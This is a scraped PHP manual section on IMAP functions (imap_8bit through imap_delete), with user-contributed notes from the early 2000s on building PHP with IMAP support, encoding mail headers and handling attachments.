What I found was, using the make lsu (for SuSE) almost worked built I was getting odd build results, i.e. make failures.

The problem? GCC 3.2. If you don't have an older GCC available, please install one! I installed the gcc_old package from SuSE and built with the following command:

CC=gcc297 make lsu SSLTYPE=none

The result was a perfect build. So if you are getting errors, please try an earlier build of GCC.
Tomas V.V.Cox
11-May-2004 09:15
For compiling this extension without compiling imap from sources I did (this was mandrake):

Install the following rpms:
imap
imap-devel
openssl
openssl-devel
krb5
krb5-devel
pam
pam-devel

Do the trick:
# mkdir /usr/include/imap/lib
# cp /usr/lib/libc-client-PHP4.a /usr/include/imap/lib/libc-client.a

And the configure line:
./configure <options> --with-imap=/usr/include/imap --with-imap-ssl

(don't forget --enable-pear ;)
sysadmin at grmtech dot com
27-Mar-2004 08:01
The manual mentions:
"From the c-client directory from your IMAP source tree, copy all the *.h files into include/ and all the *.c files into lib/. Additionally when you compiled IMAP, a file named c-client.a was created. Also put this in the lib/ directory but rename it as libc-client.a.
"

A. Please do not copy rather make symbolic links like this:
ln -s c-client include
ln -s c-client lib

B. You do not need to copy c-client.a to libc-client.a.
The make command used to compile the imap-2002e source code creates the symbolic link from c-client.a to libc-client.a

The imap client version used for the above two points is:
1. imap-2002e

my 2 cents,

sysadmin
http://www.grmtech.com
peder at godvik dot no
10-Mar-2004 12:24
Additionally to Mauricio's procedure; You must check the Makefile to find the correct system type that you are compiling on. Mauricio's example assumes you are using Linux. -Check the README for imap-xxxx for further details.
Fjor
15-Feb-2004 09:50
Additionally to Mauricio's procedure, I had to make a symlink to the c-client library this way:

cd imap-xxxx/c-client
ln -s c-client.a libc-client.a

(Tested with imap-200e)

Fjor (GDL/Mexico)
dev at puertocity dot com
27-Nov-2003 12:38
A tip for imap support installation:

With SSL support:
------------------
tar -zxf imap-xxxxx.tar.Z
cd imap-xxxxx
make slx
ln -sf c-client include
ln -sf c-client lib
cd ..
tar -jxf php-4.3.x.tar.bz2
cd php-4.3.x
./configure --with-imap=../imap-xxxxx --with-imap-ssl=/path-to-openssl

With out SSL support:
---------------------
tar -zxf imap-xxxxx.tar.Z
cd imap-xxxxx
make slx SSLTYPE=none
ln -sf c-client include
ln -sf c-client lib
cd ..
tar -jxf php-4.3.x.tar.bz2
cd php-4.3.x
./configure --with-imap=../imap-xxxxx

Good Luck
Mauricio
millz at incogen dot com
11-Oct-2003 07:19
I experienced a problem when adding IMAP support into PHP.  The php configure script would die when trying to see if "IMAP Works..." and the config.log would complain about libc-client.a references.
It was similar to the problem reported here:
http://lists.horde.org/archives/imp/Week-of-Mon-20030915/034692.html

I resolved it by compiling IMAP like this (replace <ARCH> with the proper OS type for your system, get that from the top of the Makefile):

make <ARCH> SSLTYPE=none

That turned off the SSL support in the IMAP files and seemed to resolve my php compile problem.

BTW, I also followed the directions about making a new /usr/local/imap... directory that are mentioned at the top of the page.
k3nny at squidart dot co dot za
01-Aug-2003 08:02
After having numerous problems compiling PHP with IMAP support, both PHP problems and IMAP problems I found this simple solution to the problem, which I've tried with several versions of IMAP and all worked perfectly!

tar -zxf imap-xxxxx.tar.Z
cd imap-xxxxx
make slx
ln -sf c-client include
ln -sf c-client lib
cd ..
tar -jxf php-4.3.x.tar.bz2
cd php-4.3.x
./configure --with-imap=../imap-xxxxx

It worked everytime for me, hope it does for you!

Kenneth
designer at bs-dee dot org
09-Mar-2003 08:27
The only c-client that has worked 100% with php is

ftp://ftp.cac.washington.edu/imap/old/imap-2001.FINAL.tar.Z

DO NOT DOWNLOAD 2002 B its BUGGY!
keeper at odi dot com dot br
02-Mar-2003 04:37
For those working with mail talke a look ate the pear class
Mime decode:

http://pear.php.net/package/Mail_Mime

Dotrinador
naveed at php dot net
12-Jan-2003 11:49
Beware!
If you are trying to make a connection with POP3 mailbox,then some of IMAP functions will not work correctly as you might expecting .This is because the difference of workings in POP3 and IMAP protocols.
These functions work correctly for IMAP mailboxes but some of the fnctions will return nothing, when connected to a POP3 mailbox.(even no error message).
duckel at electroporn dot de
23-May-2002 02:16
please don't copy the .h files in the system include directory! the unix.h file from the washington.edu c-client conflicts with another file called unix.h
make a dir called "imap" in either /usr/include or /usr/local/include or whatever you wish, copy the header files there and the .a file prefix'ish in /usr/lib or /usr/local/lib or whatever you used for the include files.
then tell configure with --with-imap=/usr the "prefix" of your installation.
then works without problem ;)
netshadow at madpoets dot org
03-Nov-2001 05:42
I just found something a bit bizarre.  I was having problems with the pages taking too long to load (15-20sec) when they opened an imap connection.  I was pulling my hair out trying to figure out what was wrong.

Turns out it was quite simple.  I was letting it default to 143 for the port.  When i specified the port number (i.e. {localhost:143} rather than {localhost} )  It reduced page load time to a few seconds.
raoul at runtheotherway dot com
22-Oct-2001 10:11
I have found the order in which you connect to you POP server with IMAP 2000 and your database with PostgreSQL 7.1.2 can cause problems.

Make sure that you connect first to your POP server then get your db connection. This will prevent you from getting an invalid stream from imap_open().
add a note add a note

后退 | 起点 | 前进
png2wbmp | 上一级 | imap_8bit


imap_8bit

(PHP 3, PHP 4, PHP 5)

imap_8bit -- Convert an 8bit string to a quoted-printable string

Description

string imap_8bit ( string string )

Convert an 8bit string to a quoted-printable string (according to RFC2045, section 6.7).

Returns a quoted-printable string.

See also imap_qprint().

add a note add a note User Contributed Notes
umu
28-Jan-2006 09:58
...deed.ztinmehc-ut.zrh@umuumu@hrz.tu-chemnitz.deed...

I use the following function instead of imap_8bit
when using PHP without the IMAP module,
which is based on code found in
http://www.php.net/quoted_printable_decode,
and giving (supposedly) exactly the same results as imap_8bit,
(tested on thousands of random strings containing lots
of spaces, tabs, crlf, lfcr, lf, cr and so on,
no counterexample found SO FAR:)

AND you can force a trailing space to be encoded,
as opposed to what imap_8bit does,
which I consider is a violation of RFC2045,
(see http://bugs.php.net/bug.php?id=35290)
by commenting that one central line.

<?php
function quoted_printable_encode($sText,$bEmulate_imap_8bit=true) {
  // split text into lines
  $aLines=explode(chr(13).chr(10),$sText);

  for ($i=0;$i<count($aLines);$i++) {
   $sLine =& $aLines[$i];
   if (strlen($sLine)===0) continue; // do nothing, if empty

   $sRegExp = '/[^\x09\x20\x21-\x3C\x3E-\x7E]/e';

   // imap_8bit encodes x09 everywhere, not only at lineends,
   // for EBCDIC safeness encode !"#$@[\]^`{|}~,
   // for complete safeness encode every character :)
   if ($bEmulate_imap_8bit)
     $sRegExp = '/[^\x20\x21-\x3C\x3E-\x7E]/e';

   $sReplmt = 'sprintf( "=%02X", ord ( "$0" ) ) ;';
   $sLine = preg_replace( $sRegExp, $sReplmt, $sLine );

   // encode x09,x20 at lineends
   {
     $iLength = strlen($sLine);
     $iLastChar = ord($sLine{$iLength-1});

     //              !!!!!!!!
     // imap_8_bit does not encode x20 at the very end of a text,
     // here is, where I don't agree with imap_8_bit,
     // please correct me, if I'm wrong,
     // or comment next line for RFC2045 conformance, if you like
     if (!($bEmulate_imap_8bit && ($i==count($aLines)-1)))

     if (($iLastChar==0x09)||($iLastChar==0x20)) {
       $sLine{$iLength-1}='=';
       $sLine .= ($iLastChar==0x09)?'09':'20';
     }
   }    // imap_8bit encodes x20 before chr(13), too
   // although IMHO not requested by RFC2045, why not do it safer :)
   // and why not encode any x20 around chr(10) or chr(13)
   if ($bEmulate_imap_8bit) {
     $sLine=str_replace(' =0D','=20=0D',$sLine);
     //$sLine=str_replace(' =0A','=20=0A',$sLine);
     //$sLine=str_replace('=0D ','=0D=20',$sLine);
     //$sLine=str_replace('=0A ','=0A=20',$sLine);
   }

   // finally split into softlines no longer than 76 chars,
   // for even more safeness one could encode x09,x20
   // at the very first character of the line
   // and after soft linebreaks, as well,
   // but this wouldn't be caught by such an easy RegExp
   preg_match_all( '/.{1,73}([^=]{0,2})?/', $sLine, $aMatch );
   $sLine = implode( '=' . chr(13).chr(10), $aMatch[0] ); // add soft crlf's
  }

  // join lines into text
  return implode(chr(13).chr(10),$aLines);
}
?>
hans at lintoo dot dk
22-Dec-2005 10:05
The code below this note gives a lot of trouple with SpamAssasin, to fix it you will need to encode your subject with something like this:
<?php
/**
 * Function to encode a header if necessary
 * according to RFC2047
 */
private function encodeHeader($input, $charset = 'ISO-8859-1')
{
   preg_match_all('/(\s?\w*[\x80-\xFF]+\w*\s?)/', $input, $matches);
   foreach ($matches[1] as $value) {
       $replacement = preg_replace('/([\x20\x80-\xFF])/e', '"=" . strtoupper(dechex(ord("\1")))', $value);
       $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
   }

   return wordwrap($input,75,"\n\t",true);
}
?>
hans at lintoo dot dk
05-Oct-2005 01:35
I modified nick at plumdigitalmedia dot com's note so that it may support ISO-8859-1 encoded headers:
<?php
   public function encodeSubject($string,$prefix="=?ISO-8859-1?Q?",$postfix="?=")    {
       $crlf    = "\n\t";
       $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
       $f[]    = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
       $r[]    = "'=' . sprintf('%02X', ord('\\1'))" ;
       $f[]    = '/([\011\040])' . $crlf . '/e' ;
       $r[]    = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
       $string  = preg_replace($f, $r, $string);
       return $prefix.trim(wordwrap($string, 70 - strlen($prefix) - strlen($postfix), ' ' . $postfix . $crlf . $prefix, true)).$postfix;
   }
?>
Regards, Hans @ http://lintoo.dk/
marco dot manngatter at ecg-leipzig dot de
15-Sep-2005 06:43
you can use the following to make a larger subject.
use the imap_qprint() function, to convert your subject.

example:
<?php

$subject .= "=?iso-8859-1?Q?" . imap_qprint($subject) . "?=";

?>
nick at plumdigitalmedia dot com
10-May-2005 11:15
This function appears to wrap lines in the middle of words, not just at whitespace, which upsets some versions of Outlook Express when used to format email body text. We've had more luck with this function:

<?

   function quoted_printable($string)
   {
       $crlf    = "\n" ;
       $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
       $f[]    = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
       $r[]    = "'=' . sprintf('%02X', ord('\\1'))" ;
       $f[]    = '/([\011\040])' . $crlf . '/e' ;
       $r[]    = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
       $string  = preg_replace($f, $r, $string) ;
       return trim(wordwrap($string, 70, ' =' . $crlf)) ;
   }

?>
k dot kozlowski at enter dot pl
14-Mar-2005 10:50
I had problems with encoding large subjects with polish characters. The problem was that imap_8bit() splits subject (on 75-th char) but when I add "=?ISO-8859-2?Q?" the header is too long.

This is a solution :
<?php
$subject = str_replace(" ", "_", trim($subject)) ;
// We need to delete "=\r\n" produced by imap_8bit() and replace '?'
$subject = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($subject))) ;
// Now we split by \r\n but with encoding text "=?ISO ..."
$subject = str_replace("\r\n", "?=\r\n =?ISO-8859-2?Q?", chunk_split($subject, 55)) ;
// We also have to remove last unneeded encoding text :
$subject = "=?ISO-8859-2?Q?" . substr($subject, 0, strlen($subject)-20) . "?=" ;
?>
rayFX
25-Jun-2004 12:14
imap_8bit seems to have a bug as it doesn't encode "?".
Had a lot of trouble to encode a mail-subject with
german umlaute with an ending "?"...

Try this:

$subject = "=?iso-8859-1?Q?" . str_replace("?","=3F",imap_8bit($tsubject_to_encode)) . "?=";
MagicalTux at FF.ST
15-Dec-2003 10:50
Reading Bully's note :
you can use the following to make a larger subject:
<?
$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
?>
It's wrong. The header MAY NOT go over 75 chars per line.

The right solution :
<?
$encoded = rtrim( str_replace( "\n","\n\t", imap_8bit ($string_to_encode)))."\r\n";
?>

It will add \t at the start of the encoded new lines.
Mailers to see the lines after Subject: as extensions of this header.
php dot net at werner-ott dot de
10-Dec-2002 06:45
A comment on the "split-after-75-characters" phenomenon:

By splitting lines up after 75 characters, the function's behaviour is complying to RFC2047 (http://www.ietf.org/rfc/rfc2047.txt) (which specifies a protocol for the representation of non-ASCII text in message headers), section "2. Syntax of encoded-words".

A so called 'encoded word' has the following format:

   encoded-word = "=?" charset "?" encoding "?" encoded-text "?="

An 'encoded-word' may not be more than 75 characters long, including 'charset', 'encoding', 'encoded-text', and delimiters.  If it is desirable to encode more text than will fit in an 'encoded-word' of 75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may be used.

hth
WOT
bully at newearth dot de
24-Apr-2002 10:48
you can use the following to make a larger subject:

$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
zuffa at isdd dot sk
24-Sep-2000 11:57
Warning !
This function splits input text into
several lines aligned to 75 characters.
This is critical when you need input
text to be only one striaght line as
e.g. in e-mail header values.
add a note add a note

后退 | 起点 | 前进
IMAP, POP3 and NNTP Functions | 上一级 | imap_alerts


imap_alerts

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

imap_alerts -- This function returns all IMAP alert messages (if any) that have occurred during this page request or since the alert stack was reset

Description

array imap_alerts ( void )

This function returns an array of all of the IMAP alert messages generated since the last imap_alerts() call, or the beginning of the page. When imap_alerts() is called, the alert stack is subsequently cleared. The IMAP specification requires that these messages be passed to the user.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_8bit | 上一级 | imap_append


imap_append

(PHP 3, PHP 4, PHP 5)

imap_append -- Append a string message to a specified mailbox

Description

bool imap_append ( resource imap_stream, string mbox, string message [, string options] )

imap_append() appends a string message to the specified mailbox mbox. If the optional options is specified, writes the options to that mailbox also.

如果成功则返回 TRUE，失败则返回 FALSE。

When talking to the Cyrus IMAP server, you must use "\r\n" as your end-of-line terminator instead of "\n" or the operation will fail.

例子 1. imap_append() example

<?php
$stream = imap_open("{your.imap.host}INBOX.Drafts", "username", "password");

$check = imap_check($stream);
echo "Msg Count before append: ". $check->Nmsgs . "\n";

imap_append($stream, "{your.imap.host}INBOX.Drafts"
                   , "From: me@example.com\r\n"
                   . "To: you@example.com\r\n"
                   . "Subject: test\r\n"
                   . "\r\n"
                   . "this is a test message, please ignore\r\n"
                   );

$check = imap_check($stream);
echo "Msg Count after append : ". $check->Nmsgs . "\n";

imap_close($stream);
?>

add a note add a note User Contributed Notes
bithive
24-Jun-2003 06:26
The parameter description is misleading.  You can pass a string of flags such as '\Seen' [see imap_setflag_full()] as the last argument.  In the other imap functions, 'options' seems to usually refer to a bitmask, not message flags.
michel dot jansens at ulb dot ac dot be
29-Apr-2003 10:29
I use imap_append() to decode message/rfc822 attachments type(embedded emails):

$attachment = imap_fetchbody($mbox,$mailuid,$atpos,FT_UID);
$attachment = imap_base64($attachment);
$res =  imap_append($mbox,mboxspec("INBOX"),$attachment);
//the embedded email is now a normal mail in my INBOX
bluebiru78 at hotmail dot com
12-Jun-2002 03:24
i used imap_append to copy any composed message into INBOX.Sent folder..

$app = imap_append($stream,"{" . $connectstring . "}INBOX.Sent","$header\r\n" ."$mbody\r\n");

if (!$app) {
 error("Email copying to Sent folder FAILED!");
}
owain at vaughan dot com
01-Aug-2001 09:49
With SIMS IMAP server you also need to use \r\n as a line terminator, otherwise you will be able to add all the header lines correctly, but the body of the message will not be saved.<br>
You can use \n by itself for each header line, but when creating the blank line between the headers and the body you must use \r\n\r\n
jesper at angelo dot dk
15-Sep-1999 12:13
Please observe that imap_append() do not support NNTP posting. Use fsockopen() instead, and do the work yourself.
add a note add a note

后退 | 起点 | 前进
imap_alerts | 上一级 | imap_base64


imap_base64

(PHP 3, PHP 4, PHP 5)

imap_base64 -- Decode BASE64 encoded text

Description

string imap_base64 ( string text )

imap_base64() function decodes BASE-64 encoded text (see RFC2045, Section 6.8). The decoded message is returned as a string.

See also imap_binary(),
base64_encode() and
base64_decode().

add a note add a note User Contributed Notes
jesper at intraq dot net
01-Nov-2004 11:55
I compared imap_base64 and base64_decode.
I tested to decode a 70 mb mail attachment read from disk into a variable with file_get_contents.

imap_base64 is slower, and use more memory than base64_decode. (win32)

imap_base64 took 2.2 sec and used 187 mb ram
base64_decode took 1.5 sec and used 131 mb ram
add a note add a note

后退 | 起点 | 前进
imap_append | 上一级 | imap_binary


imap_binary

(PHP 3 >= 3.0.2, PHP 4, PHP 5)

imap_binary -- Convert an 8bit string to a base64 string

Description

string imap_binary ( string string )

Convert an 8bit string to a base64 string (according to RFC2045, Section 6.8).

Returns a base64 string.

See also imap_base64().

add a note add a note User Contributed Notes
Oliver
20-May-2006 08:34
You should prefer this function to base64_encode(), given you need it for mail encoding. The return value of this function contains <CRLF>after every 76 characters, as required for mail.
support2 at lofthouse dot com
27-Dec-2001 09:44
Having trouble with reading a file and encodeing it, but the encoding doesnt turn out right?
Before reading the file, use:
set_magic_quotes_runtime(0);
see also:
http://www.php.net/manual/en/function.fread.php
add a note add a note

后退 | 起点 | 前进
imap_base64 | 上一级 | imap_body


imap_body

(PHP 3, PHP 4, PHP 5)

imap_body -- Read the message body

Description

string imap_body ( resource imap_stream, int msg_number [, int options] )

imap_body() returns the body of the message, numbered msg_number in the current mailbox.

The optional options are a bit mask with one or more of the following:

  • FT_UID - The msg_number is a UID

  • FT_PEEK - Do not set the \Seen flag if not already set

  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

imap_body() will only return a verbatim copy of the message body. To extract single parts of a multipart MIME-encoded message you have to use imap_fetchstructure() to analyze its structure and imap_fetchbody() to extract a copy of a single body component.

add a note add a note User Contributed Notes
webmaster at pedro dot frandt dot com
07-Mar-2005 01:36
I was having a problem where I was connecting to a POP3 server and no matter what I did PHP always said there was as many unread messages as there was messages in total.

After about an hour of Googling I found this in a comment in an existing file:

> POP3 considers ALL messages as "unseen" and/or "recent" because POP3 does not retain such info as seen or unseen

I hope this helps you save some time.
sito
11-Sep-2003 09:09
Usually, not multipart or 'zero-parts' messages are displayed with imap_body, but you may have a multipart message with no parts. For this type, displaying with imap_body, you may get unwanted data(like 'this is a MIME...' and boundary string), so a better solution is use imap_fetchbody.

<?php
// Type 1 is 'multipart'
if(($struct->type==1) && (sizeOf($struct->parts)==0))
{
   echo(imap_fetchbody($mailConn,$msg,"1"));
}
?>

Where $struct is the object returned by imap_fetchstructure.
jh at junetz dot de
02-Jul-2003 07:37
If you read the description of options carefully you'll see that imap_body() marks messages as read (SEEN) by default. Note that if you parse messages containing MIME using some of the other imap functions and don't call imap_body() in such a case, the messages will probably still be unread.

For example in a webmail environment you may have collected enough information to display a particular message simply by parsing the MIME content with no need to call imap_body(). In this case you can use imap_setflag_full(stream, sequence, "\\SEEN", options) to explicitly mark it as read.
add a note add a note

后退 | 起点 | 前进
imap_binary | 上一级 | imap_bodystruct


imap_bodystruct

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

imap_bodystruct -- Read the structure of a specified body section of a specific message

Description

object imap_bodystruct ( resource stream_id, int msg_no, string section )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
giraldo at nitrogendesign dot com
18-Jun-2004 06:59
Here is a great snippet of code from our php email application (www.nitrogenlabs.com). This function will give you the filenames of each attachment even if the attachment is in the first part of the body...

<?php

function getAttachments($mbox,$msgNum){
  $structure = imap_fetchstructure($mbox,$msgNum);
  $contentParts = count($structure->parts);
  if($contentParts > 1){
   for($i=1; $i<=$contentParts; $i++){
         if($structure->parts[$i]->type > 0){
       $attachments .= $structure->parts[$i]->description;
     }
   }
  }
  return $attachments;
}
  }
  return $attachments;
}

?>
omeko at dolfijn dot nl
08-Oct-2003 08:58
The above mentioned suggestions and code for handling attachments have some serious flaws; especially concering mails containing attachments sent bij PHP-applications [hello Manuel!] or SteveJobbs-aslongasitlookscool-clients.
After some extended reverse engineering I came to the following conclusions:
1) Don't count on a "inline" or "attachment" disposition to mark a bodypart containing attachment data.
2) Never assume your attachment is NOT in the first bodypart
(i.e. default [$key]+2 constructions to start a download)
3) Do not assume your filename is in parameters and most certainly not in parameters[0] or parameters[1]

The way to go is to loop through ALL  bodyparts and look for a parameters-attribute=="NAME" and - if not there - for a dparameters-attribute=="FILENAME" (note the "d" in front of parameters here!) and get the value to get the name of the attachment.

Please notice APPLEDOUBLE-encoded emails put its attachments in a parts array inside the parts array; meaning your loop has to go one level deep if (stristr($structure->parts[1]->subtype,"appledouble")).

Mark the part where you found the NAME or FILENAME attribute and increase +1 for your download routine. ie.:

$nr=$partno+1;
imap_fetchbody($mbox,$msgno,$nr);

If appledouble-encoded $nr is constructed like $partno1+1.".".$partno2+1

I won't publish the code here because it's a mess and I'm ashamed of it and I'm not sure if it covers APPLESINGLE and I don't feel like cleaning it up unless someone wants an article on it and I'm gonna be bloody payed to write it.

Yes, this IS a hint.

Good luck, lads.
php-dev(at)steffer(dot)dk
14-Sep-2002 10:43
Since I have gotten many request of my code I desided to write an article on attachment handling so tune in on:
http://www.linuxscope.net/articles/mailAttachmentsPHP.html

:-)
developers(at)steffer(dot)dk
10-Aug-2002 11:43
After playing around with the imap_bodystruct() function I found out, that it behaves like imap_fetchstructure, but as I can see only for the body-part of the message, no headers here.
You can do following (is tested):

$bodystruct = imap_bodystruct($mbox,$msgno,$partNumber)

$bodystruct->type
- returns an integer [0 - 7] -

$bodystruct->encoding
- returns an integer [0 - 5] -

$bodystruct->bytes
- return size of message in bytes -

$bodystruct->parameters
- returns an array with pairs of 'attribute' and 'value'

When writing attachment-handling for a mail client you will be able to fetch the filename of the attachment this way.

$struct = imap_fetchstructure($mbox,$msgno);
$contentParts = count($struct->parts);

if ($contentParts >= 2) {
   for ($i=2;$i<=$contentParts;$i++) {
         $att[$i-2] = imap_bodystruct($mbox,$msgno,$i);
   }
   for ($k=0;$k<sizeof($att);$k++) {
       if ($att[$k]->parameters[0]->value == "us-ascii" || $att[$k]->parameters[0]->value == "US-ASCII") {
           if ($att[$k]->parameters[1]->value != "") {
         $attachments[$k] = $att[$k]->parameters[1]->value;
   }
       } elseif ($att[$k]->parameters[0]->value != "iso-8859-1" && $att[$k]->parameters[0]->value != "ISO-8859-1") {
             $attachments[$k] = $att[$k]->parameters[0]->value;
       }
   }
}
I have written a mail client that can handle most attachment-types if anyone interested in the source for the attachment-handling I could mail it to you.
But be warned it's no beauty-code since i've been fighting with lag of the documentation available on this issue.
terence at vol dot net
23-Feb-2002 07:29
I am not sure if I have missed something but var_dump shows that im_bodystruct does not return parts array. Use im_fetchstructure instead.
vlad ( at php dot net)
12-Jan-2002 06:04
This is one of the functions that can not accept FT_UID flag, because of the limitations of the underlying imap client library. If you need that, use something like this:

imap_bodystruct($stream_id, imap_msgno($stream_id, $msg_uid_no), $section);

($msg_uid_no is the UID of the message).
add a note add a note

后退 | 起点 | 前进
imap_body | 上一级 | imap_check


imap_check

(PHP 3, PHP 4, PHP 5)

imap_check -- Check current mailbox

Description

object imap_check ( resource imap_stream )

Returns information about the current mailbox. Returns FALSE on failure.

The imap_check() function checks the current mailbox status on the server and returns the information in an object with following properties:

  • Date - current system time formatted according to RFC822

  • Driver - protocol used to access this mailbox: POP3, IMAP, NNTP

  • Mailbox - the mailbox name

  • Nmsgs - number of messages in the mailbox

  • Recent - number of recent messages in the mailbox

例子 1. imap_check() example

<?php

$imap_obj = imap_check($imap_stream);
var_dump($imap_obj);

?>

this will output :

object(stdClass)(5) {
  ["Date"]=>
  string(37) "Wed, 10 Dec 2003 17:56:54 +0100 (CET)"
  ["Driver"]=>
  string(4) "imap"
  ["Mailbox"]=>
  string(54)
  "{www.example.com:143/imap/user="foo@example.com"}INBOX"
  ["Nmsgs"]=>
  int(1)
  ["Recent"]=>
  int(0)
}

add a note add a note User Contributed Notes
JUNIOR TELLO
27-Jan-2006 10:43
You can NOT prevent imap_check from flagging new/recent messages when using POP3 enabling the "/readonly" or OP_READONLY flags or options.
erik at phpcastle dot com
13-Dec-2005 11:49
The imap_check ($stream); function will return real-time information about the e-mail box (at least imap) during one connection :)
29-Oct-2004 03:21
You can prevent imap_check from flagging new/recent messages as checked by calling imap_open with the "/readonly" or OP_READONLY flags.
rasmus at flajm dot com
19-Dec-2003 12:06
Running this on a mailbox will mark recent/new messages as checked.
add a note add a note

后退 | 起点 | 前进
imap_bodystruct | 上一级 | imap_clearflag_full


imap_clearflag_full

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

imap_clearflag_full -- Clears flags on messages

Description

bool imap_clearflag_full ( resource stream, string sequence, string flag [, string options] )

This function causes a store to delete the specified flag to the flags set for the messages in the specified sequence. The flags which you can unset are "\\Seen", "\\Answered", "\\Flagged", "\\Deleted", and "\\Draft" (as defined by RFC2060). 如果成功则返回 TRUE，失败则返回 FALSE。.

options are a bit mask and may contain the single option:

  • ST_UID - The sequence argument contains UIDs instead of sequence numbers

See also: imap_setflag_full().

add a note add a note User Contributed Notes
22-Nov-2005 01:42
imap_clearflag_full() and imap_setflag_full() seem to only change messageflags permanently with IMAP connections, not with POP3 connections.
calmdown at abendstille dot at
17-Jan-2003 09:23
This function seems not to save the \\Seen flag permanently.

Testet on Win NT IIS 4.0 PHP 4.3 and imap-mail-server
add a note add a note

后退 | 起点 | 前进
imap_check | 上一级 | imap_close


imap_close

(PHP 3, PHP 4, PHP 5)

imap_close -- Close an IMAP stream

Description

bool imap_close ( resource imap_stream [, int flag] )

Closes the imap stream. Takes an optional flag CL_EXPUNGE, which will silently expunge the mailbox before closing, removing all messages marked for deletion.

See also: imap_open().

add a note add a note User Contributed Notes
vhegde at myersinternet dot com
29-Aug-2001 05:48
Instead of using the CL_EXPUNGE FLAG,
you can also use the imap_expunge function to delete all the messages marked for deletion, before calling the imap_close function.
add a note add a note

后退 | 起点 | 前进
imap_clearflag_full | 上一级 | imap_createmailbox


imap_createmailbox

(PHP 3, PHP 4, PHP 5)

imap_createmailbox -- Create a new mailbox

Description

bool imap_createmailbox ( resource imap_stream, string mbox )

imap_createmailbox() creates a new mailbox specified by mbox. Names containing international characters should be encoded by imap_utf7_encode()

如果成功则返回 TRUE，失败则返回 FALSE。.

例子 1. imap_createmailbox() example

<?php
$mbox = imap_open("{your.imap.host}", "username", "password", OP_HALFOPEN)
     or die("can't connect: " . imap_last_error());

$name1 = "phpnewbox";
$name2 = imap_utf7_encode("phpnewb&ouml;x");

$newname = $name1;

echo "Newname will be '$name1'<br />\n";

// we will now create a new mailbox "phptestbox" in your inbox folder,
// check its status after creation and finaly remove it to restore
// your inbox to its initial state

if (@imap_createmailbox($mbox, imap_utf7_encode("{your.imap.host}INBOX.$newname"))) {
    $status = @imap_status($mbox, "{your.imap.host}INBOX.$newname", SA_ALL);
    if ($status) {
        echo "your new mailbox '$name1' has the following status:<br />\n";
        echo "Messages:   " . $status->messages    . "<br />\n";
        echo "Recent:     " . $status->recent      . "<br />\n";
        echo "Unseen:     " . $status->unseen      . "<br />\n";
        echo "UIDnext:    " . $status->uidnext     . "<br />\n";
        echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";

        if (imap_renamemailbox($mbox, "{your.imap.host}INBOX.$newname", "{your.imap.host}INBOX.$name2")) {
            echo "renamed new mailbox from '$name1' to '$name2'<br />\n";
            $newname = $name2;
        } else {
            echo "imap_renamemailbox on new mailbox failed: " . imap_last_error() . "<br />\n";
        }
    } else {
        echo "imap_status on new mailbox failed: " . imap_last_error() . "<br />\n";
    }

    if (@imap_deletemailbox($mbox, "{your.imap.host}INBOX.$newname")) {
        echo "new mailbox removed to restore initial state<br />\n";
    } else {
        echo "imap_deletemailbox on new mailbox failed: " . implode("<br />\n", imap_errors()) . "<br />\n";
    }

} else {
    echo "could not create new mailbox: " . implode("<br />\n", imap_errors()) . "<br />\n";
}

imap_close($mbox);
?>

See also imap_renamemailbox(),
imap_deletemailbox() and
imap_open() for the format
of mbox names.

add a note add a note User Contributed Notes
14-Sep-2003 04:32
// is not a complete code but enough for add new folder/subfolder
// hope this can save your time :-)

<?php
# PULL ADDITIONAL FILES
include_once ("common.php");

$conn = @imap_open("\{$server/$serverType}", $user, $pass) ;

// add folder
if(isset($_REQUEST['AddFolder']))
{
  if($_REQUEST['FolderName']!="")
  {
   $FolderName = $_REQUEST['FolderName'];
   $PrevFolder = $_REQUEST['PrevFolder'];
   if($PrevFolder != "")
   { $PrevFolder = $PrevFolder ."/";}
   if(@imap_createmailbox($conn, imap_utf7_encode("\{$server}$PrevFolder$FolderName")))
   {
     echo "folder created !";
   }
   ?>
    <script language="JavaScript">
   {
     parent.leftmenu.location.href = "leftmenu.php";
   }
   </SCRIPT>
<?php
  }
}

echo '<table border=1>';
echo "<form name='folderform' action='".$_SERVER['PATH_INFO']."' method='get'>";
echo "<tr>";
echo "<td>Add new folder : <input name='FolderName' size=20></td>";
echo "<td>After the folder : <select name='PrevFolder'>";
$folders = imap_list($conn, "\{$server/$serverType}", "*");

if ($folders == false)
{ echo "Call failed<br>\n"; }
else
{
   echo "<option value=''></option>";
   while (list ($key, $val) = each ($folders))
   {
       $val = preg_replace("\{$server/$serverType}" , "" , $val);
       $val = substr($val,2);
       echo "<option value='$val'>$val</option>";
   }
}
echo "</select></td>";
echo "<td><input type='submit' name='AddFolder' value='Add now'></td>";
echo "</tr>";
echo "</form></table><P>";

imap_close($conn);
?>
mustu17 at yahoo dot com
26-Aug-2000 03:48
we can't get support of imap_utf7_encode()  function in imap4
when we try to create mailbox using base64_encode()
function then it doesn't create.
cmoyer at chekinc dot com
03-Aug-2000 08:31
The example simply creates a new mailbox in the users directory.
It won't work with POP.
add a note add a note

后退 | 起点 | 前进
imap_close | 上一级 | imap_delete


imap_delete

(PHP 3, PHP 4, PHP 5)

imap_delete -- Mark a message for deletion from current mailbox

Description

bool imap_delete ( int imap_stream, int msg_number [, int options] )

Returns TRUE.

imap_delete() marks messages listed in msg_number for deletion. The optional flags parameter only has a single option, FT_UID, which tells the function to treat the msg_number argument as a UID. Messages marked for deletion will stay in the mailbox until either imap_expunge() is called or imap_close() is called with the optional parameter CL_EXPUNGE.

